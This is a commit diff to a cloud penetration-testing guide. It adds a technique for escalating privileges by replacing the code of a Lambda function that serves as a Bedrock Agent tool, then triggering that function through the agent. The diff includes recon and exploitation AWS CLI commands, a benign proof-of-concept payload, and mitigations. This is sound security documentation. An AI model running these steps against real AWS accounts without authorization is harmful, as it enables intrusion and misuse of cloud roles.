Skip to content

Commit 6cdf2b2

Browse files
committed
Add Bedrock agent Lambda tool hijacking privilege escalation technique
1 parent 913bcb0 commit 6cdf2b2

1 file changed

Lines changed: 80 additions & 1 deletion

File tree

  • src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md

Lines changed: 80 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ List interpreters (control-plane) and inspect their configuration:
2929
```bash
3030
aws bedrock-agentcore-control list-code-interpreters
3131
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
32-
````
32+
```
3333

3434
> The create-code-interpreter command supports `--execution-role-arn` which defines what AWS permissions the interpreter will have.
3535
@@ -108,6 +108,84 @@ awscurl -X POST \
108108
* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
109109
* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation.
110110

111+
## Amazon Bedrock Agents
112+
113+
### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda
114+
115+
Bedrock Agents can use **Lambda-backed action groups** as tools (external execution). If a principal can **modify the code of a Lambda function used by an agent**, and can then **invoke the agent**, they can execute attacker-controlled code under the **Lambda execution role**.
116+
117+
> [!NOTE]
118+
> This is a **cross-service trust abuse** (Bedrock → Lambda), not a vulnerability. The attacker may not be able to invoke the Lambda directly, but can still trigger it via the agent.
119+
120+
#### Preconditions (common misconfiguration)
121+
122+
- A Bedrock Agent exists with an **action group backed by a Lambda function**
123+
- The attacker has:
124+
- `lambda:UpdateFunctionCode`
125+
- `bedrock:InvokeAgent`
126+
- The Lambda execution role has broader permissions than the attacker
127+
- The attacker can identify the Lambda used by the agent
128+
129+
#### Recon
130+
131+
Enumerate agent action groups:
132+
133+
```bash
134+
aws bedrock-agent list-agents
135+
aws bedrock-agent get-agent --agent-id <AGENT_ID>
136+
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID>
137+
```
138+
139+
Inspect Lambda:
140+
141+
```bash
142+
aws lambda get-function --function-name <FUNCTION_NAME>
143+
```
144+
145+
#### Exploitation
146+
147+
Replace Lambda code:
148+
149+
```bash
150+
zip payload.zip lambda_function.py
151+
152+
aws lambda update-function-code \
153+
--function-name <FUNCTION_NAME> \
154+
--zip-file fileb://payload.zip
155+
```
156+
157+
Example payload:
158+
159+
```python
160+
import boto3
161+
162+
def lambda_handler(event, context):
163+
return boto3.client("sts").get_caller_identity()
164+
```
165+
166+
Trigger via agent:
167+
168+
```bash
169+
aws bedrock-agent-runtime invoke-agent \
170+
--agent-id <AGENT_ID> \
171+
--agent-alias-id <ALIAS_ID> \
172+
--session-id test \
173+
--input-text "trigger tool"
174+
```
175+
176+
#### Impact
177+
178+
* **Privilege escalation** into Lambda execution role
179+
* **Data exfiltration** from AWS services
180+
* **Cross-service abuse** via trusted agent execution
181+
182+
#### Mitigations
183+
184+
* **Restrict** `lambda:UpdateFunctionCode`
185+
* Use **least-privilege** Lambda roles
186+
* **Monitor** Lambda code changes
187+
* **Audit** Bedrock agent tool usage
188+
111189
## References
112190

113191
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
@@ -116,6 +194,7 @@ awscurl -X POST \
116194
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
117195
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
118196
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
197+
- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors)
119198

120199

121200
{{#include ../../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)